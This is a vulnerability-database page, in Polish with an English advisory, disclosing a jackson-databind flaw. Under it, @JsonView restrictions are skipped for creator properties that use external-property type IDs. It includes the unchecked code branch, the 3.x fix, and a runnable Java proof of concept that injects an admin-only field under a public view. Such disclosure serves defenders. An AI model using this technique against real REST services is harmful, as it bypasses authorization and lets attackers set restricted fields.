Średnia

jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`

  • Ujawniono: 21.07.2026
  • Aktualizacja: 11.10.2026 13:20

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

java
 if (creatorProp != null) {
     // [databind#1381]: if useInput=FALSE, skip deserialization from input
     if (creatorProp.isInjectionOnly()) { ... }
     // NO visibleInView(activeView) CHECK HERE
     if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
         if (buffer.assignParameter(creatorProp, ...)) { ... }
     }
     continue;
 }

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

java
  if (creatorProp != null) {
     // [databind#5971]: must honor active view here too
     if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
         p.skipChildren();
         continue;
     }
     ...
 }

The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

java
  import com.fasterxml.jackson.annotation.*;
  import com.fasterxml.jackson.databind.ObjectMapper;

  public class JsonViewExternalTypeIdBypass {
      public static class PublicView {}
      public static class AdminView extends PublicView {}

      public static abstract class Asset { public String name; }
      public static class PublicAsset extends Asset {}
      public static class AdminAsset extends Asset { public String secret; }

      public static class Container {
          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
                  property = "kind")
          @JsonSubTypes({
              @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
              @JsonSubTypes.Type(value = AdminAsset.class,  name = "admin")
          })
          @JsonView(AdminView.class)
          public Asset asset;

          public String label;

          @JsonCreator
          public Container(
                  @JsonProperty("label") String label,
                  @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
              this.label = label;
              this.asset = asset;
          }
      }

      public static class Wrapper {
          @JsonView(PublicView.class)
          public Container data;
      }

      public static void main(String[] args) throws Exception {
          // Admin-only "asset" should be blocked when reading with PublicView
          String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
                      + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

          ObjectMapper om = new ObjectMapper();
          Wrapper r = om.readerWithView(PublicView.class)
                  .forType(Wrapper.class)
                  .readValue(json);

          System.out.println(r.data);
          // Actual on 2.21.4:   Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
          // Expected (secure):  Container{label='hello', asset=null}
          if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
              System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
          }
      }
  }

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

  • CWE-863 (Incorrect Authorization)
  • Same impact class as CVE-2026-54517 / CVE-2026-54518
  • No RCE, no DoS — this is an access-control / mass-assignment bypass

Trigger Conditions

Developer code must combine (no opt-in user configuration required):

  1. Property-based @JsonCreator on the outer type
  2. A creator parameter annotated with @JsonView(RestrictedView.class)
  3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Java / Kotlin (Maven) com.fasterxml.jackson.core:jackson-databind >= 2.18.0, < 2.18.9, >= 2.21.0, < 2.21.5 2.18.9, 2.21.5

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Słabość (CWE)
CWE-863
Platforma
Java / Kotlin (Maven)
Paczka
com.fasterxml.jackson.core:jackson-databind
Ujawniono
21.07.2026
Aktualizacja
11.10.2026 13:20

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-mhm7-754m-9p8w - CC BY 4.0

Historia podatności: com.fasterxml.jackson.core:jackson-databind

Wszystkie opisane podatności tej paczki (Java / Kotlin (Maven)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (86) w archiwum
Wszystkich wpisów
86
Pierwsza → ostatnia
10.2018 09.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 24
  • Wysoka 48
  • Średnia 14

Ujawnienia w latach

  1. 2018: 4
  2. 2019: 19
  3. 2020: 23
  4. 2021: 18
  5. 2022: 4
  6. 2023: 1
  7. 2024: 0
  8. 2025: 0
  9. 2026: 17
Istotność:
  1. Wysoka · 7.5 CVE-2026-91777 >= 2.19.0, < 2.21.7, >= 2.5.0, < 2.18.11, >= 2.22.0, < 2.22.3 2.21.7, 2.18.11, 2.22.3
  2. Wysoka · 7.5 CVE-2026-91776 >= 2.0.0, < 2.18.11, >= 2.19.0, < 2.21.7, >= 2.22.0, < 2.22.3 2.18.11, 2.21.7, 2.22.3
  3. Wysoka · 7.5 CVE-2026-68497 >= 2.14.0, < 2.18.10, >= 2.19.0, < 2.21.6, >= 2.22.0, < 2.22.2 2.18.10, 2.21.6, 2.22.2
  4. jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)` ten wpis
    Średnia · 6.5 ghsa-mhm7-754m-9p8w >= 2.18.0, < 2.18.9, >= 2.21.0, < 2.21.5 2.18.9, 2.21.5
  5. Wysoka · 8.1 CVE-2026-54513 >= 2.10.0, < 2.18.8, >= 2.19.0, < 2.21.4, >= 3.0.0, < 3.1.4 2.18.8, 2.21.4, 3.1.4
  6. Wysoka · 8.1 CVE-2026-54512 >= 2.10.0, < 2.18.8, >= 3.0.0, < 3.1.4, >= 2.19.0, < 2.21.4 2.18.8, 3.1.4, 2.21.4
  7. Wysoka · 7.5 CVE-2021-46877 >= 2.10.0, < 2.12.6, >= 2.13.0, < 2.13.1 2.12.6, 2.13.1
  8. Wysoka · 7.5 CVE-2022-42003 >= 2.4.0-rc1, < 2.12.7.1, >= 2.13.0, < 2.13.4.2 2.12.7.1, 2.13.4.2
  9. Wysoka · 7.5 CVE-2022-42004 >= 2.4.0-rc1, < 2.12.7.1, >= 2.13.0, < 2.13.4 2.12.7.1, 2.13.4
  10. Wysoka · 8.1 CVE-2020-10650 < 2.9.10.4 2.9.10.4
  11. Wysoka · 7.5 CVE-2020-36518 >= 2.13.0, < 2.13.2.1, < 2.12.6.1 2.13.2.1, 2.12.6.1
  12. Wysoka · 8.1 CVE-2020-36189 >= 2.7.0, < 2.9.10.8, < 2.6.7.5 2.9.10.8, 2.6.7.5
  13. Wysoka · 8.1 CVE-2020-36187 >= 2.0.0, < 2.9.10.8 2.9.10.8
  14. Wysoka · 8.1 CVE-2020-36188 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  15. Wysoka · 8.1 CVE-2020-36183 >= 2.7.00, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  16. Wysoka · 8.1 CVE-2020-36184 >= 2.0.0, < 2.9.10.8 2.9.10.8
  17. Wysoka · 8.1 CVE-2020-36180 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  18. Wysoka · 8.1 CVE-2020-36181 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  19. Wysoka · 8.1 CVE-2020-36185 >= 2.0.0, < 2.9.10.8 2.9.10.8
  20. Wysoka · 8.1 CVE-2020-36179 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  21. Wysoka · 8.1 CVE-2020-36182 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  22. Wysoka · 8.1 CVE-2020-24750 >= 2.0, < 2.6.7.5, >= 2.7.0, < 2.9.10.6 2.6.7.5, 2.9.10.6
  23. Wysoka · 8.1 CVE-2020-35728 >= 2.0.0, < 2.9.10.8 2.9.10.8
  24. Wysoka · 8.1 CVE-2020-35491 >= 2.0.0, < 2.9.10.8 2.9.10.8
  25. Wysoka · 8.1 CVE-2020-35490 >= 2.0.0, < 2.9.10.8 2.9.10.8
  26. Wysoka · 8.1 CVE-2020-24616 >= 2.0.0, < 2.9.10.6 2.9.10.6
  27. Wysoka · 8.1 CVE-2020-36186 >= 2.0.0, < 2.9.10.8 2.9.10.8
  28. Wysoka · 7.5 CVE-2020-25649 >= 2.6.0, < 2.6.7.4, >= 2.7.0.0, < 2.9.10.7, >= 2.10.0.0, < 2.10.5.1 2.6.7.4, 2.9.10.7, 2.10.5.1
  29. Wysoka · 8.1 CVE-2021-20190 >= 2.7.0, < 2.9.10.7, < 2.6.7.5 2.9.10.7, 2.6.7.5
  30. Wysoka · 8.1 CVE-2018-5968 >= 2.8.0, < 2.8.11.1, >= 2.9.0, < 2.9.4, < 2.7.9.5 2.8.11.1, 2.9.4, 2.7.9.5
  31. Wysoka · 8.1 CVE-2020-14061 >= 2.9.0, < 2.9.10.5 2.9.10.5
  32. Wysoka · 8.1 CVE-2020-14062 >= 2.9.0, < 2.9.10.5 2.9.10.5
  33. Wysoka · 8.1 CVE-2020-14060 >= 2.9.0, < 2.9.10.5 2.9.10.5
  34. Wysoka · 8.1 CVE-2020-14195 >= 2.9.0, < 2.9.10.5 2.9.10.5
  35. Wysoka · 7.5 CVE-2018-12023 >= 2.7.0, < 2.7.9.4, >= 2.8.0, < 2.8.11.2, >= 2.9.0, < 2.9.6 2.7.9.4, 2.8.11.2, 2.9.6
  36. Krytyczna · 9.8 CVE-2019-17267 >= 2.9.0, < 2.9.10, < 2.8.11.5 2.9.10, 2.8.11.5
  37. Wysoka · 8.8 CVE-2020-11112 >= 2.9.0, < 2.9.10.4 2.9.10.4
  38. Krytyczna · 9.8 CVE-2020-9547 >= 2.9.0, < 2.9.10.4, >= 2.8.0, < 2.8.11.6, >= 2.0.0, < 2.7.9.7 2.9.10.4, 2.8.11.6, 2.7.9.7
  39. Wysoka CVE-2019-14893 >= 2.9.0, < 2.9.10 2.9.10
  40. Wysoka · 8.8 CVE-2020-10673 >= 2.7.0, < 2.9.10.4, >= 2.0.0, < 2.6.7.4 2.9.10.4, 2.6.7.4
  41. Krytyczna · 9.8 CVE-2020-9548 >= 2.9.0, < 2.9.10.4, >= 2.8.0, < 2.8.11.6, >= 2.0.0, < 2.7.9.7 2.9.10.4, 2.8.11.6, 2.7.9.7
  42. Wysoka · 7.5 CVE-2019-14892 < 2.6.7.3, >= 2.7.0, < 2.8.11.5, >= 2.9.0, < 2.9.10 2.6.7.3, 2.8.11.5, 2.9.10
  43. Wysoka · 8.8 CVE-2020-10968 >= 2.9.0, < 2.9.10.4 2.9.10.4
  44. Wysoka · 8.8 CVE-2020-11111 >= 2.9.0, < 2.9.10.4 2.9.10.4
  45. Wysoka · 8.8 CVE-2020-11113 >= 2.9.0, < 2.9.10.4 2.9.10.4
  46. Wysoka · 8.1 CVE-2020-11619 >= 2.9.0, < 2.9.10.4 2.9.10.4
  47. Wysoka · 8.8 CVE-2020-10969 >= 2.9.0, < 2.9.10.4 2.9.10.4
  48. Krytyczna · 9.8 CVE-2020-9546 >= 2.9.0, < 2.9.10.4 2.9.10.4
  49. Wysoka · 8.1 CVE-2020-11620 >= 2.9.0, < 2.9.10.4 2.9.10.4
  50. Wysoka · 8.8 CVE-2020-10672 >= 2.9.0, < 2.9.10.4 2.9.10.4
  51. Krytyczna · 9.8 CVE-2020-8840 >= 2.0.0, < 2.6.7.4, >= 2.7.0, < 2.7.9.7, >= 2.8.0, < 2.8.11.5, >= 2.9.0, < 2.9.10.3 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.3
  52. Krytyczna · 9.8 CVE-2019-20330 >= 2.0.0, < 2.6.7.4, >= 2.7.0, < 2.7.9.7, >= 2.8.0, < 2.8.11.5, >= 2.9.0, < 2.9.10.2 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.2
  53. Krytyczna · 9.8 CVE-2019-17531 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  54. Krytyczna · 9.8 CVE-2019-16943 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  55. Krytyczna · 9.8 CVE-2019-16942 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, >= 2.0.0, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  56. Krytyczna · 9.8 CVE-2019-16335 >= 2.9.0, < 2.9.10, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10, 2.8.11.5, 2.6.7.3
  57. Krytyczna · 9.8 CVE-2019-14540 >= 2.9.0, < 2.9.10, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10, 2.8.11.5, 2.6.7.3
  58. Wysoka · 7.5 CVE-2019-14439 >= 2.9.0, < 2.9.9.2, >= 2.8.0, < 2.8.11.4, >= 2.7.0, < 2.7.9.6, < 2.6.7.3 2.9.9.2, 2.8.11.4, 2.7.9.6, 2.6.7.3
  59. Krytyczna · 9.8 CVE-2019-14379 >= 2.9.0, < 2.9.9.2, >= 2.8.0, < 2.8.11.4, < 2.7.9.6 2.9.9.2, 2.8.11.4, 2.7.9.6
  60. Krytyczna · 9.8 CVE-2018-11307 >= 2.0.0, < 2.7.9.4, >= 2.8.0, < 2.8.11.2, >= 2.9.0, < 2.9.6 2.7.9.4, 2.8.11.2, 2.9.6
Pokaż więcej (13) Widać 60 z 73

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.